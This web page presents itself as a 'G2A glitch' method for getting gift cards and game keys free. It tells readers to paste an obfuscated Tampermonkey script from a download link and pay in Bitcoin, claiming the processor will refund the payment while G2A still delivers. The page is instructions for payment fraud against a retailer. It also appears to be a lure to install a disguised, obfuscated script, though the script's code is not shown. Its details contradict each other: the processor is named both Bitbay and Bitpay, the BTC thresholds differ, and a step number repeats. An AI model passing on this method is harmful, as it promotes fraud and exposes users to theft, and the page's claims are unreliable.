

G2A GLITCH

1.6

G2A FREE

THE BEST G2A GLITCH **MONEY MAKING METHOD**

Short summary of the process:

1. How It works?
2. Getting Started
3. Install a Google Chrome extension named "Tampermonkey"
4. Install a Script that changes your browser's timezone after making an order on g2a.
5. Create a new order on g2a and pay for the products with Bitcoin.
6. Claim your products. (Order will be successfully processed by g2a)
7. Wait a few minutes for a refund from Bitbay. (Bitbay is a Bitcoin paymentprocessor for g2a. They will refund your money, because the order is marked as "Expired" on their side due to the timezone conflict.)

How it Works?

With this method you will be able to get anything from <https://www.g2a.com/> completely for **free**.

This exploit works for literally any product that is available for sale on G2A including: Gift-cards, Activation Keys (for games and software) and Hardware as well.

It's really simple. We will use a Tampermonkey script which changes our browser's timezone whenever we make a new order on g2a.

As soon as we get redirected to the payment page, our timezone will change - which will result in our order getting marked as "Expired" on Bitbay's side, but NOT on g2a's side.

So, if we pay for the products - our order will get processed and delivered by g2a anyway, but the money will get **INSTANTLY** refunded to our wallet by Bitbay.

Getting Started

Important - Please read this:

Keep in mind that Bitbay will refund your "Expired" order only if it's above **0.0045 BTC**.

Any lower amount is not prioritized and will require you to contact their support to get a refund, which will result in your request getting rejected, as they will find out that the order was processed by g2a. If you use any amount higher than **0.045 BTC**, it will get **automatically refunded without problems**.

Basically you have to add to your cart items that are worth at least 0.005 BTC, it could be one or multiple products - doesn't matter.

There are absolutely no limits on the maximum worth. I personally purchased **5 x \$100 Amazon Gift-cards** in one order, and it was instantly refunded to my wallet with no issues.

Let's Begin!

Here are the things you need:

- Atleast **0.0045 BTC** to pay for the order
- Google Chrome browser
- <https://www.google.com/chrome/>
- Tampermonkey extension Chrome:
<https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo?hl>
- Tampermonkey Glitch Code:
[click here to download the code](#)

If the link is no longer working, simply google for Tampermonkey and you will find it.

Step 1. Add Tampermonkey extension to your browser.
(Link above)

Step 2. Click on Tampermonkey's icon at the top-right side of your browser, and click "Create a new script."

Step 3. Remove any preset code so you can have a clean page just like on the screenshot:

Step 4. Copy the script from this link
[click here to download the code](#) and paste it in
the Editor from Step 3.

A screenshot of the Tampermonkey editor window. The title bar says "<New userscript>". The main area is a text editor with the word "Editor" at the top. The code for the G2A Refund Glitch userscript is pasted into the editor. The code includes comments for the UserScript metadata and a var declaration for a global variable named '_0x5cb4'.

Step 5. Go to "File" and click "Save".

Step 6. Make sure that your script is Enabled.
It should look just like on this screenshot:

#	Enabled	Name
1	<input checked="" type="checkbox"/>	G2A Refund Glitch

Step 7. Go to <https://g2a.com> and add some products to your cart. I will purchase a \$45 Amazon Gift Card.

A screenshot of the G2A marketplace website. The user is in their 'My Basket' section. There is one item: an 'Amazon Gift Card NORTH AMERICA 45 USD Amazon' with a price of '\$47.51'. Below the basket, a 'REWARD CHEST UNLOCKED' message is displayed, stating 'Congrats! You get a free chest for spending at least \$18.90+'. At the bottom, there are terms and conditions checkboxes, an email input field, and a 'Go to payment' button. The total amount shown is '\$47.51'.

Step 8. As soon as the payment page starts to load, you should see this message.

Simply press "OK" to continue.

Step 9. Now choose "Bitbay" (Bitcoin).

Step 10. Click "Pay with Bitpay".

Step 11. Simply pay for the products by sending the exact Bitcoin amount to the BTC address displayed in your order.

Step 12. Wait for 3 confirmations. As soon as your transaction gets 3 confirmations in blockchain (shouldn't take longer than 30 minutes), you will receive an e-mail from g2a with your purchased product(s).

Now go back to the page with your invoice. You will see this message:

Step 13. Receive the Refund

Balance: 0,40932 BTC (3844,12 €)		
FEB 19	Received Bitcoin From Bitcoin address	+0.0047 BTC +€44.44
FEB 19	Sent Bitcoin To Bitcoin address	-0.0050 BTC
FEB 19	Bought Bitcoin Using 5333*****0412	
FEB 18	Converted from Bitcoin Using Portafoglio BTC	
FEB 17	Converted from Bitcoin Using Portafoglio BTC	
FEB 17	Sent Bitcoin To Bitcoin address	
FEB 17	Received Bitcoin From Bitcoin address	

Received Bitcoin

A detailed view of the received Bitcoin transaction. It shows a blue downward arrow icon, the amount "+0.00473637 BTC", and the note "≈ €44.44". Below this, there are fields for "Price per coin" (€9,382.71) and "From Bitcoin address", with a "View transaction" link. At the bottom right is a green "COMPLETED" status bar.

+0.00473637 BTC
≈ €44.44

Price per coin: €9,382.71
From Bitcoin address: [View transaction](#)

2/19/2020 2:04 PM COMPLETED

Step 12. Receive the product on the email from G2A

All Done!
